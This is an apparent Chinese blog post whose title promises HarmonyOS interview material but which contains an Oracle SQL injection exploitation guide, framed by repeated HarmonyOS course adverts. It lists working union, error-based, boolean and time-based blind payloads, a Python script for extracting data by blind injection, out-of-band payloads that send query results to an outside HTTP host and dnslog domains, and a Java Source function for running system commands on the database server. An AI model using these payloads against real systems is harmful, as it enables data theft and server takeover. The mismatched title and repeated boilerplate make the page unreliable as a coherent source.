2024年鸿蒙最全干货 Oracle注入和漏洞利用姿势总结,面试要掌握这几个关键点是什么

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!


img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上鸿蒙开发知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化的资料的朋友,可以戳这里获取

联合注入

方法与一般的 SQL 联合注入相同。值得注意的是,Oracle 联合注入一般不使用数字占位,而是 NULL,因为使用数字占位可能会发生错误。

  • • 判断数据库类型
-- 使用 Oracle 专有的函数判断是否为 Oracle 数据库
?ename=-1' or to_char(1)=1--+
?ename=-1' or to_number('2e0')=2--+
  • • 查询当前用户下的所有表名
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1),NULL from dual--+
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name<>'BONUS'),NULL from dual--+
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name not in ('BONUS','DEPT')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name not in ('BONUS','DEPT','EMP')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name not in ('BONUS','DEPT','EMP')),NULL from dual--+

  • • 查询表中的字段名
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME','JOB')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME','JOB','MGR')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME','JOB','MGR','HIREDATE')),NULL from dual--+

  • • 查询表中具体的数据
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1),NULL from dual--+
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename<>'SMITH'),NULL from dual--+
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename  not in ('SMITH','ALLEN')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename  not in ('SMITH','ALLEN','WARD')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename  not in ('SMITH','ALLEN','WARD','JONES')),NULL from dual--+

报错注入

MSSQL 数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入。前提是服务器允许返回报错信息。

Oracle 数据库的报错注入是通过某些函数报错前进行子查询,再通过错误页面回显查询结果。下面介绍几种常见的报错注入函数的示例。

ctxsys.drithsx.sn
?ename=-1' or 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select user from dual)%7c%7c'~')--+
?ename=-1' or 1=ctxsys.drithsx.sn(1,chr(126)%7c%7c(select user from dual)%7c%7cchr(126))--+
?ename=-1' or 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select table_name from user_tables where rownum=1)%7c%7c'~')--+
?ename=-1' or 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select table_name from user_tables where rownum=1 and table_name<>'DEPT')%7c%7c'~')--+

XMLType
?ename=-1' or (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null--+
dbms_utility.sqlid_to_sqlhash
?ename=-1' or (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
ordsys.ord_dicom.getmappingxpath
?ename=-1' or (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
dbms_xdb_version.*
  • • dbms_xdb_version.checkin
?ename=-1' or (select dbms_xdb_version.checkin('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null--+
  • • bms_xdb_version.makeversioned
?ename=-1' or (select dbms_xdb_version.makeversioned('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null--+
  • • dbms_xdb_version.uncheckout
?ename=-1' or (select dbms_xdb_version.uncheckout('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null--+
utl_inaddr.*

在 Oracle 11g 之前不需要任何权限,在 11g 之后需要当前的数据库用户拥有网络访问权限,否则将被访问控制列表(ACL)拒绝。

  • • utl_inaddr.get_host_name
?ename=-1' or 1=utl_inaddr.get_host_name('~'%7c%7c(select user from dual)%7c%7c'~') --+
  • • utl_inaddr.get_host_address
?ename=-1' or 1=utl_inaddr.get_host_address('~'%7c%7c(select user from dual)%7c%7c'~') --+

布尔盲注

方法与一般的 SQL 布尔盲注相同,使用 ASCII 码逐个比较字符,将返回为 True 的结果输出即可。

?ename=-1' or ascii(substr((select user from dual),1,1))>65--+

下面给出布尔盲注脚本:

import requests
import time

url = 'http://192.168.2.134:8080/search.jsp?ename='

cookies = {  # 如果目标网站要事先登录,就加上cookies吧
    "PHPSESSID": "c8ab8r49nd2kk0qfhs0dcaktl3"
}

flag = ''
for i in range(1, 90000):
    low = 32
    high = 128
    mid = (low + high) // 2
    while (low < high):
        payload = url + "-1' or ascii(substr((select user from dual),%d,1))>%d-- " % (i, mid)
        res = requests.get(url=payload)

        """
        data = {
            "user_id": payload
        }
        res = requests.get(url=url, data=data)
        """

        if 'SMITH' in res.text:  # 为真时,即判断正确的时候的条件
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 32 or mid == 127):
        break
    flag = flag + chr(mid)
    print(flag)

# S
# SC
# SCO
# SCOT
# SCOTT

时间盲注

Oracle 的 dbms_pipe.receive_message() 函数用来从指定管道获取消息。该函数接收两个参数,第一个参数用来指定管道名称,第二个参数用来指定等待时间。

image-20221220201511

执行以下 Payload,页面将有 2s 的明显延时。

?ename=SMITH' and 1=(dbms_pipe.receive_message('RDS',2))--+

因此,在 Oracle 数据库中可以通过 dbms_pipe.receive_message() 函数的延时作用来进行时间盲注。由于 Oracle 中没有 if() 函数,因此我们需要使用 decode() 函数或 case when 语句来代替。如下实例,当语句执行成功,页面延时 2s 返回即为 True。

  • • 使用 decode 函数
?ename=SMITH' and 1=decode(substr((select user from dual),1,1),'S',dbms_pipe.receive_message('RDS',2),0)--+
  • • 使用 case when 函数
?ename=SMITH' and 1=(case when (ascii(substr((select user from dual),1,1))>65) then dbms_pipe.receive_message('RDS',2) else 0 end)--+

带外通道(OOB)

带外通道(Out Of Band Channels,OOB)使用一些除常规通道以外的替代的信道来请求服务器资源,一般发送 HTTP 或者 DNS 请求,将查询结果带到请求中,然后监测外网服务器的 HTTP 和 DNS 日志,从日志中获取 SQL 语句的查询结果。这种方式将繁琐的盲注转换成可以直接简便的获取查询结果的方式,尤其是基于时间的盲注,能极大地加快速度。

需要注意的是,常用的可以发起 OOB 函数需要当前的数据库用户拥有网络访问权限。此外,还需要数据库服务器可以出网。

utl_http.request
-- 发起 HTTP 请求
?ename=-1' or 1=utl_http.request('http://192.168.2.135:2333/'%7c%7c(select banner from sys.v_$version where rownum=1))--

image-20221220224413215

utl_inaddr.get_host_address
-- 发起 DNS 请求
?ename=-1' or 1=utl_inaddr.get_host_address((select user from dual)%7c%7c'.btzq7f.dnslog.cn')--+

image-20221220224216939

sys.dbms_ldap.init
?ename=-1' or (select sys.dbms_ldap.init((select user from dual)%7c%7c'.esilh0.dnslog.cn',80) from dual) is not null--+
httpuritype
?ename=-1' or (select httpuritype('http://192.168.2.135:2333/'%7c%7c(select user from dual)).getclob() from dual) is not null--+

Oracle 相关攻击面

Java Source

从 Oracle 8i 开始,Oracle Database 允许在数据库中存储和执行 Java,并提供了 Java 池,用于存放 Java 代码、Java 语句的语法分析表、Java 语句的执行方案和 Java 虚拟机中的数据,以便进行 Java 程序开发。

在实际利用中,如果我们获取了 Oracle 管理员级别的用户凭据,可以使用 SQL 语句直接从 Java 源代码创建函数或存储过程,从而执行系统命令。默认情况下,创建的创建函数或存储过程是在创建者的架构中创建的。

所需的利用条件如下:

  • • 当前用户具有 CREATE SESSION 权限

  • • 当前用户具有相关 Java 权限:

    • • java.io.FilePermission
    • • writeFileDescriptor
    • • readFileDescriptor

对于第一条,普通用户基本都拥有 CREATE SESSION 权限并能够创建函数和存储过程,但是如果想要执行 Java 或通过 Java 执行系统命令,则必须具备这三条权限。在 Oracle 数据库中,只有 DBA 级别的用户默认拥有着三条 Java 权限,其余用户正常情况下需要由管理员来授予,相关命令如下。

-- 授予相关 Java 权限
exec dbms_java.grant_permission( 'UserName', 'SYS:java.io.FilePermission','<<ALL FILES>>', 'execute');
exec dbms_java.grant_permission('UserName','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('UserName','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');

-- 撤销相关 Java 权限
exec dbms_java.revoke_permission( 'UserName', 'SYS:java.io.FilePermission','<<ALL FILES>>', 'execute');
exec dbms_java.revoke_permission('UserName','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.revoke_permission('UserName','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');

下面笔者通过 Java Source,分别演示创建函数和存储过程的方法。

Function

下面演示创建函数的具体步骤。

(1)创建 Java Source,并命名为 JavaUtil。

create or replace and resolve java source named "JavaUtil" as
import java.io.*;
public class JavaUtil extends Object
{
    public static String ExecCommand(String cmd)
    {
        try {
            BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
            String stemp,str = "";
            while ((stemp = myReader.readLine()) != null) str += stemp + "\n";
            myReader.close();
            return str;
        } catch (Exception e){
            return e.toString();
        }
    }
}
/

(2)从 JavaUtil 创建一个函数 ExecCommand,用于执行系统命令。

create or replace function ExecCommand(cmd in varchar2) return varchar2
as
language java
name 'JavaUtil.ExecCommand(java.lang.String) return String';
/

(3)调用 ExecCommand 函数,执行系统命令,执行结果如下图所示。

select ExecCommand('whoami') from dual;

image-20221221201552607

(4)利用结束后,删除创建的 Java Source 和函数。

drop function ExecCommand;
drop java source "JavaUtil";

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!


img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上鸿蒙开发知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化的资料的朋友,可以戳这里获取

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!


[外链图片转存中…(img-AufLdnxg-1715731873828)]
[外链图片转存中…(img-gwWXYZUl-1715731873829)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上鸿蒙开发知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化的资料的朋友,可以戳这里获取

  • 14
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值